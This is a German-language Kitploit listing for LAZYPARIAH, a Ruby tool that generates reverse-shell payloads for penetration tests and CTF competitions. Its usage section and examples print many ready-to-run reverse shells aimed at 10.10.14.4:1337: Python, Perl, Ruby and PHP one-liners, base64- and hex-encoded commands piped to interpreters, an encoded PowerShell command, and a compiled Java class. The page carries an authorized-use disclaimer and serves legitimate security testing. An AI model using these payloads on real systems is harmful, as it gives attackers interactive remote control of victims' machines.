Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
Tools/GitHubGitHub/octetsplicer/lazypariah
Payload-GenerierungExploitationCTFPenetrationstestsCommand and ControlRed TeamingShellcode-GenerierungPayload-EntwicklungArchived
GitHuboctetsplicer/lazypariah

LAZYPARIAH

Ein Tool zum dynamischen Generieren von Reverse-Shell-Payloads.

Repository anzeigen
17vor 5 MonatenNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

LAZYPARIAH

Ein Kommandozeilen-Tool mit geringen Abhängigkeiten zur dynamischen Generierung von Reverse-Shell-Payloads.

Alt text

Beschreibung

LAZYPARIAH ist ein einfaches und leicht installierbares, in purem Ruby geschriebenes Kommandozeilen-Tool, das bei Penetrationstests und Capture-the-Flag (CTF)-Wettbewerben verwendet werden kann, um spontan eine Reihe von Reverse-Shell-Payloads zu generieren.

Die von LAZYPARIAH unterstützten Reverse-Shell-Payloads umfassen (sind aber nicht beschränkt auf):

  • C-Binary-Payloads (on-the-fly kompiliert): c_binary
  • Ruby-Payloads: ruby, ruby_b64, ruby_hex, ruby_c
  • Powershell-Payloads: powershell_c, powershell_b64
  • Base64-kodierte Python-Payloads: python_b64
Tool herunterladen
  • Rust-Binary-Payloads (on-the-fly kompiliert): rust_binary
  • PHP-Skripte mit base64-kodierten Python-Payloads, die über die system()-Funktion aufgerufen werden: php_system_python_b64
  • Java-Klassen (on-the-fly kompiliert): java_class
  • Perl-Payloads: perl, perl_b64, perl_hex, perl_c
  • Einfache PHP-Payloads (zielen auf bestimmte Dateideskriptoren): php_fd, php_fd_c, php_fd_tags
  • Warnung

    Dieses Tool ist ausschließlich für den Einsatz in autorisierten Umgebungen durch qualifizierte Pentester, Sicherheitsforscher und Red-Team-Profis vorgesehen. Stellen Sie vor dem Herunterladen, Installieren oder Verwenden dieses Tools sicher, dass Sie die relevanten Gesetze in Ihrem Land verstehen. Der Autor dieses Tools befürwortet, ermutigt oder duldet nicht die Verwendung dieses Tools für illegale oder unbefugte Zwecke.

    Abhängigkeiten

    • Ruby >= 2.7.1 (LAZYPARIAH wurde nicht mit früheren Ruby-Versionen getestet)
    • OpenJDK (Optional: Nur für java_class-Payloads erforderlich.)
    • GCC (Optional: Nur für c_binary-Payloads erforderlich.)
    • Rust (Optional: Nur für rust_binary-Payloads erforderlich.)

    Installation

    LAZYPARIAH kann auf den meisten GNU/Linux- und BSD-Systemen mit dem RubyGems-Installer wie folgt installiert werden:

    root@kitploit:~
    gem install lazypariah
    

    Nutzung

    root@kitploit:~
    Usage:	lazypariah [OPTIONS] <PAYLOAD TYPE> <ATTACKER HOST> <ATTACKER PORT>
    Note:	<ATTACKER HOST> may be an IPv4 address, IPv6 address or hostname.
    
    Example:	lazypariah -u python_b64 10.10.14.4 1555
    Example:	lazypariah python_c malicious.local 1337
    
    Valid Payloads:
        awk
        bash_tcp
        c_binary
        java_class
        nc
        nc_openbsd
        nc_pipe
        nodejs
        nodejs_b64
        nodejs_c
        nodejs_hex
        perl
        perl_b64
        perl_c
        perl_hex
        php_fd
        php_fd_c
        php_fd_tags
        php_system_python_b64
        php_system_python_hex
        php_system_python_ipv6_b64
        php_system_python_ipv6_hex
        powershell_b64
        powershell_c
        python
        python_b64
        python_c
        python_hex
        python_ipv6
        python_ipv6_b64
        python_ipv6_c
        python_ipv6_hex
        ruby
        ruby_b64
        ruby_c
        ruby_hex
        rust_binary
        socat
    
    Valid Options:
        -h, --help                       Hilfe anzeigen und beenden.
        -l, --license                    Lizenzinformationen anzeigen und beenden.
        -u, --url                        Payload URL-kodieren.
        -v, --version                    Versionsinformationen anzeigen und beenden.
        -D, --fd INTEGER                 Den vom Ziel für TCP verwendeten Dateideskriptor angeben. Für bestimmte Payloads erforderlich.
        -P, --pv INTEGER                 Python-Version für Payload angeben. Muss entweder 2 oder 3 sein. Standardmäßig wird keine Version angegeben.
        -N, --no-new-line                Kein Zeilenumbruch am Ende des Payloads anhängen.
            --b64                        Codiert einen c_binary-, rust_binary- oder java_class-Payload in Base64.
            --hex                        Codiert einen c_binary-, rust_binary- oder java_class-Payload hexadezimal.
            --gzip                       Komprimiert einen c_binary-, rust_binary- oder java_class-Payload mit zlib.
            --gzip_b64                   Komprimiert einen c_binary-, rust_binary- oder java_class-Payload mit zlib und kodiert das Ergebnis in Base64.
            --gzip_hex                   Komprimiert einen c_binary-, rust_binary- oder java_class-Payload mit zlib und kodiert das Ergebnis hexadezimal.
    

    Weitere Hinweise und Beispiele

    Die oben aufgeführten Payloads sind mehr oder weniger systematisch benannt.

    Payloads, die auf _c enden, sind für die Ausführung innerhalb einer Shell-Sitzung gedacht. Diese Payloads führen Code direkt mit dem entsprechenden Interpreter aus (z. B. python3 -c oder ruby -e).

    Zum Beispiel sollte der Befehl lazypariah python_c 10.10.14.4 1337 die folgende Ausgabe erzeugen:

    root@kitploit:~
    python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.4",1337));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
    

    Der Befehl lazypariah python 10.10.14.4 1337 hingegen sollte einfach einen Block Python-Code erzeugen, der potenziell in eine .py-Datei eingefügt werden könnte:

    root@kitploit:~
    import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.4",1337));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);
    

    Im Allgemeinen sollte die Auswahl von Payloads, die auf _b64 enden, einen Befehl liefern, der ähnlich wie Payloads, die auf _c enden, in einer Shell-Sitzung ausgeführt wird, aber die Befehle unterscheiden sich in der Struktur. Diese Befehle leiten einen base64-kodierten Codeblock über base64 -d und dann an den entsprechenden Interpreter (z. B. python3, python2 oder ruby) weiter.

    Zum Beispiel sollte der Befehl lazypariah python_b64 10.10.14.4 1337 die folgende Ausgabe erzeugen:

    root@kitploit:~
    echo aW1wb3J0IHNvY2tldCxzdWJwcm9jZXNzLG9zO3M9c29ja2V0LnNvY2tldChzb2NrZXQuQUZfSU5FVCxzb2NrZXQuU09DS19TVFJFQU0pO3MuY29ubmVjdCgoIjEwLjEwLjE0LjQiLDEzMzcpKTtvcy5kdXAyKHMuZmlsZW5vKCksMCk7IG9zLmR1cDIocy5maWxlbm8oKSwxKTsgb3MuZHVwMihzLmZpbGVubygpLDIpO3A9c3VicHJvY2Vzcy5jYWxsKFsiL2Jpbi9zaCIsIi1pIl0pOw== | base64 -d | python
    

    Eine Ausnahme bildet powershell_b64, das den integrierten Base64-Decoder von PowerShell verwendet. Der Befehl lazypariah powershell_b64 10.10.14.4 1337 sollte z. B. Folgendes zurückgeben:

    root@kitploit:~
    powershell -e JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACcAMQAwAC4AMQAwAC4AMQA0AC4ANAAnACwAMQAzADMANwApADsAJABzAHQAcgBlAGEAbQAgAD0AIAAkAGMAbABpAGUAbgB0AC4ARwBlAHQAUwB0AHIAZQBhAG0AKAApADsAWwBiAHkAdABlAFsAXQBdACQAYgB5AHQAZQBzACAAPQAgADAALgAuADYANQA1ADMANQB8ACUAewAwAH0AOwB3AGgAaQBsAGUAKAAoACQAaQAgAD0AIAAkAHMAdAByAGUAYQBtAC4AUgBlAGEAZAAoACQAYgB5AHQAZQBzACwAIAAwACwAIAAkAGIAeQB0AGUAcwAuAEwAZQBuAGcAdABoACkAKQAgAC0AbgBlACAAMAApAHsAOwAkAGQAYQB0AGEAIAA9ACAAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAALQBUAHkAcABlAE4AYQBtAGUAIABTAHkAcwB0AGUAbQAuAFQAZQB4AHQALgBBAFMAQwBJAEkARQBuAGMAbwBkAGkAbgBnACkALgBHAGUAdABTAHQAcgBpAG4AZwAoACQAYgB5AHQAZQBzACwAMAAsACAAJABpACkAOwAkAHMAZQBuAGQAYgBhAGMAawAgAD0AIAAoAGkAZQB4ACAAJABkAGEAdABhACAAMgA+ACYAMQAgAHwAIABPAHUAdAAtAFMAdAByAGkAbgBnACAAKQA7ACQAcwBlAG4AZABiAGEAYwBrADIAIAA9ACAAJABzAGUAbgBkAGIAYQBjAGsAIAArACAAJwBQAFMAIAAnACAAKwAgACgAcAB3AGQAKQAuAFAAYQB0AGgAIAArACAAJwA+ACAAJwA7ACQAcwBlAG4AZABiAHkAdABlACAAPQAgACgAWwB0AGUAeAB0AC4AZQBuAGMAbwBkAGkAbgBnAF0AOgA6AEEAUwBDAEkASQApAC4ARwBlAHQAQgB5AHQAZQBzACgAJABzAGUAbgBkAGIAYQBjAGsAMgApADsAJABzAHQAcgBlAGEAbQAuAFcAcgBpAHQAZQAoACQAcwBlAG4AZABiAHkAdABlACwAMAAsACQAcwBlAG4AZABiAHkAdABlAC4ATABlAG4AZwB0AGgAKQA7ACQAcwB0AHIAZQBhAG0ALgBGAGwAdQBzAGgAKAApAH0AOwAkAGMAbABpAGUAbgB0AC4AQwBsAG8AcwBlACgAKQA=
    

    (Hinweis: Die Länge des obigen Payloads ist darauf zurückzuführen, dass PowerShell UTF-16LE-Kodierung verwendet, bei der ein einzelnes Zeichen zwei Bytes entspricht.)

    Diese Art von Payloads kann in bestimmten Situationen nützlich sein, da sie keine einfachen oder doppelten Anführungszeichen enthalten.

    In ähnlicher Weise erzeugt die Auswahl von Payloads, die auf _hex enden, einen Befehl, der einen hexadezimal kodierten Codeblock über xxd -p -r - und dann an den entsprechenden Interpreter weiterleitet. Beispielsweise sollte lazypariah perl_hex 10.10.14.4 1337 die folgende Ausgabe erzeugen:

    root@kitploit:~
    echo 75736520536f636b65743b24693d2231302e31302e31342e34223b24703d313333373b736f636b657428532c50465f494e45542c534f434b5f53545245414d2c67657470726f746f62796e616d6528227463702229293b696628636f6e6e65637428532c736f636b616464725f696e2824702c696e65745f61746f6e282469292929297b6f70656e28535444494e2c223e265322293b6f70656e285354444f55542c223e265322293b6f70656e285354444552522c223e265322293b6578656328222f62696e2f7368202d6922293b7d3b | xxd -p -r - | perl
    

    Kompilierte Payloads (c_binary, java_class und rust_binary) haben optionale Befehlszeilenargumente für zlib-Kompression (--gzip), Base64-Kodierung (--b64) und Hexadezimal-Kodierung (--hex).

    Zum Beispiel sollte der Befehl lazypariah --b64 java_class 10.10.14.4 1337 die folgende Ausgabe erzeugen:

    root@kitploit:~
    yv66vgAAADcAXwoAHQApBwAqBwArCAAsCgACAC0KAAIALgoAAgAvBwAwCAAxCgAIADIKACMAMwoAIwA0CgAIADMKACMANQoACAA1CgAIADYKACQANwoAJAA4CgAlADkKACUAOgUAAAAAAAAAMgoAOwA8CgAjAD0HAD4KACMAPwoACABABwBBBwBCAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEADVN0YWNrTWFwVGFibGUHAEMHAEQHAEUBAApFeGNlcHRpb25zAQAKU291cmNlRmlsZQEAB3JzLmphdmEMAB4AHwEAGGphdmEvbGFuZy9Qcm9jZXNzQnVpbGRlcgEAEGphdmEvbGFuZy9TdHJpbmcBAAcvYmluL3NoDAAeAEYMAEcASAwASQBKAQAPamF2YS9uZXQvU29ja2V0AQAKMTAuMTAuMTQuNAwAHgBLDABMAE0MAE4ATQwATwBQDABRAFIMAFMAVAwAVQBUDABWAFcMAFgAHwcAWQwAWgBbDABcAFQBABNqYXZhL2xhbmcvRXhjZXB0aW9uDABdAB8MAF4AHwEAAnJzAQAQamF2YS9sYW5nL09iamVjdAEAEWphdmEvbGFuZy9Qcm9jZXNzAQATamF2YS9pby9JbnB1dFN0cmVhbQEAFGphdmEvaW8vT3V0cHV0U3RyZWFtAQAWKFtMamF2YS9sYW5nL1N0cmluZzspVgEAE3JlZGlyZWN0RXJyb3JTdHJlYW0BAB0oWilMamF2YS9sYW5nL1Byb2Nlc3NCdWlsZGVyOwEABXN0YXJ0AQAVKClMamF2YS9sYW5nL1Byb2Nlc3M7AQAWKExqYXZhL2xhbmcvU3RyaW5nO0kpVgEADmdldElucHV0U3RyZWFtAQAXKClMamF2YS9pby9JbnB1dFN0cmVhbTsBAA5nZXRFcnJvclN0cmVhbQEAD2dldE91dHB1dFN0cmVhbQEAGCgpTGphdmEvaW8vT3V0cHV0U3RyZWFtOwEACGlzQ2xvc2VkAQADKClaAQAJYXZhaWxhYmxlAQADKClJAQAEcmVhZAEABXdyaXRlAQAEKEkpVgEABWZsdXNoAQAQamF2YS9sYW5nL1RocmVhZAEABXNsZWVwAQAEKEopVgEACWV4aXRWYWx1ZQEAB2Rlc3Ryb3kBAAVjbG9zZQAhABwAHQAAAAAAAQABAB4AHwACACAAAAEAAAYACQAAALAqtwABuwACWQS9AANZAxIEU7cABQS2AAa2AAdMuwAIWRIJEQU5twAKTSu2AAtOK7YADDoELLYADToFK7YADjoGLLYADzoHLLYAEJoAXS22ABGeAA8ZBy22ABK2ABOn//AZBLYAEZ4AEBkHGQS2ABK2ABOn/+4ZBbYAEZ4AEBkGGQW2ABK2ABOn/+4ZB7YAFBkGtgAUFAAVuAAXK7YAFGlenAAg6CKf/oiu2ABostgAbsQABAJoAnwCiABkAAgAhAAAABgABAAAAAQAiAAAAKgAH/wBGAAgHABwHACMHAAgHACQHACQHACQHACUHACUAAAYSFBRXBwAZBAAmAAAABAABABkAAQAnAAAAAgAo
    

    Es ist auch möglich, eine zlib-Kompression bei einem der oben genannten kompilierten Payloads durchzuführen, bevor er mit den Befehlszeilenargumenten --gzip_b64 bzw. --gzip_hex in Base64 oder Hexadezimal kodiert wird. Beispielsweise sollte der Befehl lazypariah --gzip_hex java_class 10.10.14.4 1337 die folgende Ausgabe erzeugen:

    root@kitploit:~
    1f8b08003ca25960000375535d57125114dd83335ca0511431a53433b5f00bb42c13cc4ad3c2f0a3200dcd5a03dc741419d7cc50f6577ca8b57cf1b55eb095ab7e403fa6d52fc8ce0549c91aee6cced9779f7bce9939f3fdd7976f0046f0ca8336f430f432f4b9d0ef810303024202c20c832e0c79e0c2750f3a7143c0b0704bd64d6195e096075d181170db836e8c0a8828285f141ac59808b8c3302efeef8a987b0cf719262438c7f4bc6e8f4ba809f62c4a90278d2c97e08deb793e57d84a7333a9a573c4d4266c2db339ab6d977c864986070c53123c533b19be6deb46de22276114cc0c9fd6450833add086f646537109ed125a841dce69f9b5f0826964b8654d14f45c969b12ea4fb612b6a9e7d728389cd6f3616b5d044fab7888472a6298a1d24ada3cb7c30923b3c96d4a3a3418126b38342cd48f55c431ab624ec03c16543cc153150924553c13b0882515cfd1ce9052b18c15152f9094d07852c49f9654aca25dc54b51bfc3b4aa2a9d4f6ff00ca56f38d357e52cdd08c7f2db059b7ae2da96047f859d2fd8a7e8f3c195f8df0f202a5e46a3c9b3ba4949a64cd3302bf2b6e0724ffc7fcf322a41b16ccda4ba9a82ff904545bab3d962225ddd1ab7abea6dae9c50dd48b42cad2aca4b4475572da7824fef50b44bb7267386c5b3a5a95b96e0269d9e2b0f1a31319a4392d2b6f2d6d46d2e560a942e575ae60ad57bd85e4fab1d2ca71be2d943342e9e63bbabda8e50a620eb3dcb24de31d8932222d3ad04adf9db824fad170d2d776593870c24decc7de03488770a4e4afa849d5f8e4c40114b90867112c7e0857cae76e50460fe099ed2be2dc1c811a91fb8ba88d2864d7459c647b238cb07e17ab034534bc8737c0c8f015d1b87ff4332097b8fa00135699fc11508e49a7b02a242bc21fa0c47e3f9a3ea399ce6f59da872be2da3fda23e70225b9f8894adfc507ec21409d7440f42195babb42d80b768469b8185a193a9930ba2aab9b16a97d7eff124340c655d2cb1417a0fb1ad90e047f03b0d0dc15ad040000
    

    Einige Payloads erfordern die Angabe des Dateideskriptors, der vom Ziel für TCP-Verbindungen verwendet wird. Ein solcher Payload ist php_fd_tags, ein einfacher PHP-Payload, der in PHP-Tags (<?php und ?>) eingeschlossen ist und auf einen bestimmten Dateideskriptor abzielt.

    Um einen bestimmten Dateideskriptor anzugeben, muss der Benutzer das Befehlszeilenargument -D INTEGER oder --fd INTEGER verwenden. Um beispielsweise einen php_fd_tags-Payload zu generieren, der auf Dateideskriptor 5 abzielt, kann der folgende Befehl verwendet werden: lazypariah -D 5 php_fd_tags 10.10.14.4 1337

    Der resultierende Payload sollte wie folgt aussehen: <?php $sock=fsockopen("10.10.14.4",1337);exec("/bin/sh -i <&5 >&5 2>&5");?>

    Im Folgenden finden Sie einige Beispiele für Befehle und ihre jeweiligen Ausgaben.

    Ausgabe des Befehls lazypariah -P 3 -u python_b64 10.10.14.4 1337:

    root@kitploit:~
    echo%20aW1wb3J0IHNvY2tldCxzdWJwcm9jZXNzLG9zO3M9c29ja2V0LnNvY2tldChzb2NrZXQuQUZfSU5FVCxzb2NrZXQuU09DS19TVFJFQU0pO3MuY29ubmVjdCgoIjEwLjEwLjE0LjQiLDEzMzcpKTtvcy5kdXAyKHMuZmlsZW5vKCksMCk7IG9zLmR1cDIocy5maWxlbm8oKSwxKTsgb3MuZHVwMihzLmZpbGVubygpLDIpO3A9c3VicHJvY2Vzcy5jYWxsKFsiL2Jpbi9zaCIsIi1pIl0pOw%3D%3D%20%7C%20base64%20-d%20%7C%20python3
    

    Ausgabe des Befehls lazypariah -P 2 python_c 10.10.14.4 1337:

    root@kitploit:~
    python2 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.4",1337));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
    

    Ausgabe des Befehls lazypariah -D 3 php_fd_tags 10.10.14.4 1337:

    root@kitploit:~
    <?php $sock=fsockopen("10.10.14.4",1337);exec("/bin/sh -i <&3 >&3 2>&3");?>
    

    Ausgabe des Befehls lazypariah ruby 10.10.14.4 1337:

    root@kitploit:~
    require "socket";exit if fork;c=TCPSocket.new("10.10.14.4","1337");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end
    

    Autor

    Copyright (C) 2020-2022 Peter Bruce Funnell

    Lizenz

    Dieses Programm ist freie Software: Sie können es unter den Bedingungen der GNU General Public License, wie von der Free Software Foundation veröffentlicht, entweder Version 3 der Lizenz oder (nach Ihrer Wahl) jeder späteren Version weiterverbreiten und/oder modifizieren.

    Dieses Programm wird in der Hoffnung verteilt, dass es nützlich sein wird, aber OHNE JEGLICHE GEWÄHRLEISTUNG; ohne die stillschweigende Garantie der MARKTGÄNGIGKEIT oder EIGNUNG FÜR EINEN BESTIMMTEN ZWECK. Weitere Details finden Sie in der GNU General Public License.

    Sie sollten eine Kopie der GNU General Public License zusammen mit diesem Programm erhalten haben. Falls nicht, siehe https://www.gnu.org/licenses/.